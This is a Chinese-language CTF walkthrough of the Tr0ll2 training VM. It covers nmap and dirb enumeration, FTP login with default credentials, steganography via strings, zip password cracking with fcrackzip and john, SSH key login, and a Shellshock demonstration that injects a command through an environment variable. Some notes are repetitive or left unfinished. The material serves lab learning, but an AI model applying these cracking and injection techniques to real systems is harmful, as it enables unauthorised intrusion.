tr0ll2靶机

上来时经典的nmap扫面网段

┌──(root㉿kali)-[~]
└─# nmap -A 192.168.199.0/24               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-23 11:06 CST
Nmap scan report for 192.168.199.1
Host is up (0.00019s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH for_Windows_9.5 (protocol 2.0)
MAC Address: 00:50:56:C0:00:08 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 11 (89%)
Aggressive OS guesses: Microsoft Windows 11 21H2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.19 ms 192.168.199.1

Nmap scan report for 192.168.199.2
Host is up (0.00021s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
53/tcp filtered domain
MAC Address: 00:50:56:E5:A4:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized
Running: VMware Player
OS CPE: cpe:/a:vmware:player
OS details: VMware Player virtual NAT device
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms 192.168.199.2

Nmap scan report for 192.168.199.132
Host is up (0.0031s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:0F:F4:68 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到靶机的ip是192.168.199.132，开放了21，22，80端口

访问80端口是这个东西

这里说明了作者是tr0ll，而且可以看到开放了21端口是一个ftp

ftp链接，账号密码都是tr0ll，进去看一下

里面有一个lmao.zip文件，下载下来看看

后台dirb一下靶机ip，发现有robots.txt

wget下载下来，然后dirb扫描发现开放

几个页面访问下来都是一样的

查看源码说是让我们抓取图片看看，wget下载下来就是

最早的项目中我们说就是分析图片的我们有三种方法

binwalk（路由逆向分析工具）

exiftool（图虫）

strings（识别动态库坂本指令）

strings分析得到

┌──(kali㉿kali)-[~/桌面/tr0ll2]
└─$ strings cat_the_troll.jpg 
JFIF
#3-652-108?QE8<M=01F`GMTV[\[7DcjcXjQY[W
)W:1:WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
"aq2
\vRH
sdwTi
 aDP
 aDP
\z!$
`aDc
(Q@0S
}}HQ\)
B6F@
T"8V
!\#(
u6.U
6&      QY
;.e{
hH}Q
=\x#uk
?}1,;Gd
~>znk
BP~9D
QFQHQT
D       vOE
{"yw
.&9)
Km3Q
^Ah9]*
%DGU
WUh 
:uWw
ALzO#
NO_`
F wT
s$3'
H=ev
0mwP
J,hi
nuMs[~
XSy}]F
Q{w}n=
{k{]&
Y]3P
D&ai
7+}(
jr'h
)0zZ
L!&\~T
`$3!
8]j,
K:/w.`'
~^GR
5zT)T
Rq<8
_mzN
S0=&
o&"8
;H!\M.
.l|(
fC@FO
8Yj5
f        &1
Cdb>
1<,n=
Ksbv
K       AM
j?w1
(669VNR
u%u|Pl
;Cw4d
Ps<o
rP{J
H!u-
Vcw9
)Qup=-kG+
$T3!k:~
;*iZ
wvwD
">8Z
mcc8=
IQTu
@rh8T
+sx(
kK+:
=GEZ
gugI
}wR.
-.u+
Dm3Q
+}[R
iZ{4
Xn_B
OYKH
8Hq%
 t+%s3
o=       
<CgiZ
jnavF
]mb*=
N9Z<+
kF.j
$v_I
BI%z
2\7c
:t@n~@
        .qtI
$pGd
8VVz
nQ~4
j--h
8WSs
@QEw^?
nwyA
aQ3O
XBuJm08\&
"PzJz
>%cwJ
t+7>
'h(:
]O7U
ew\\
0>!-
1=xA0A
A+eW
H `q
B1Ow
~Q4awpX=
0J<n
v&8Y
Z8$.
yS-[
2 -,
e6mh
{D c
Il-FkKv
i{j68
XL{#
*Mqhq
O\ +
Sk~B
[jmdR
Ol;I
'%jq
iZ7%
Po.d
I {-G>
        ^ah
{)V,
8]-#
g<.}
'o&Q
4F8Q
        -wC
 F>J
_mg=
i{&0
1ancNpG*
=VZ[MH
hZOtY
'=!)
Bwgq
Ws_4\2{.M
&yC*
;,?     @
g%t.
).eG`
:q+|
tA{vF
_R4+
V'E[
XKwyDOt
f>U_
6 ;+5
q/2~WB
Xi]5
tT]+_
kTm6
0W;u
+cih
Qhcv
`*0G
nD{-4/
pzw\
GkDu(
FprFAF@
2;.uG
+=\k
UN"1
khTvH
Q}Jm
ee->
k!;Z
ivc2
ZMV0
-wI<
nCO%?C
.<vI
QLON
@Si;X'
f02HP
8Jh;
gYCJ
pV}A
7U      4
]=%em;
lj\p
*/ p?E$
Look Deep within y0ur_self for the answer

look deep within y0ur_self for the answer
要你深入到这个目录进行下一步

访问，里面有一个answer.txt文件

wget下来

全是base64编码，通过base64 -d answer.txt > having_decode.txt得到解码后的

现在我们看回来哪个下载下下的lmao.zip,zip爆破的话有两种，分别是fcrackzip和zip2john

我们采用fcrackzip

[-u] --use-unzip使用unzip清楚错误密码

[-D] --distionary使用字典爆破

[-p] --postion设置密码的位置

[-c] --charset设置字符集

[-b] --brute-force暴力破解

[-l] --length设置密码长度

[-u] --use-unzip使用unzip清楚错误密码

[-D] --distionary使用字典爆破

[-p] --postion设置密码的位置

[-c] --charset设置字符集

[-b] --brute-force暴力破解

[-l] --length设置密码长度

John爆破文件

Docx ：

你可以进入usr/share/john查看john下的文件你会发现这个东西可以爆破7z,office等等文件

对于docx这种一般都是

1
2
3

./office2john.py test.docx > docx.txt   将docx的hash值保存在docx.txt文件中

john -w=./password|txt docx.txt  爆破docx文件

Xlsx：
和docx的一样

回归正题

密码爆破出来了,

ssh链接一下

1	ssh [email protected]

要求我们输入密码，但是我们上面解压出来了一个私钥，理论上说是不需要密码直接可以登录的

1 2	chmod 400 noob

补充一下

chmod 是控制用户对文件的权限进行操作的命令

linux/unix的文件调用权限分为三级：文件所有者(owner)，用户组（group）,其他用户(other user)

就像是这样的

三位，第一位对应的是read读取，第二位对应的是write写入，第三个对应的是run执行

所以用二进制码就是

报错格式不对（但是教学中时报TRY MARDER LOL!Connecction to xxx.xxx.xxx.xxx closed）🤔

按照他说的是目标靶机的ssh配置有问题，他的环境变量不允许使用/bin/bash和/bin/sh

shell破壳漏洞

shellshork原理

[04/14/2021 00:28] seed@ubuntu:~$ foo='() { echo "wdnmd"; } ;echo "8848";'
[04/14/2021 00:29] seed@ubuntu:~$ echo $foo
() { echo "wdnmd"; } ;echo "8848";
[04/14/2021 00:29] seed@ubuntu:~$ export foo
[04/14/2021 00:29] seed@ubuntu:~$ bash
8848
[04/14/2021 00:29] seed@ubuntu:~$ declare -f foo
foo () 
{ 
    echo "wdnmd"
}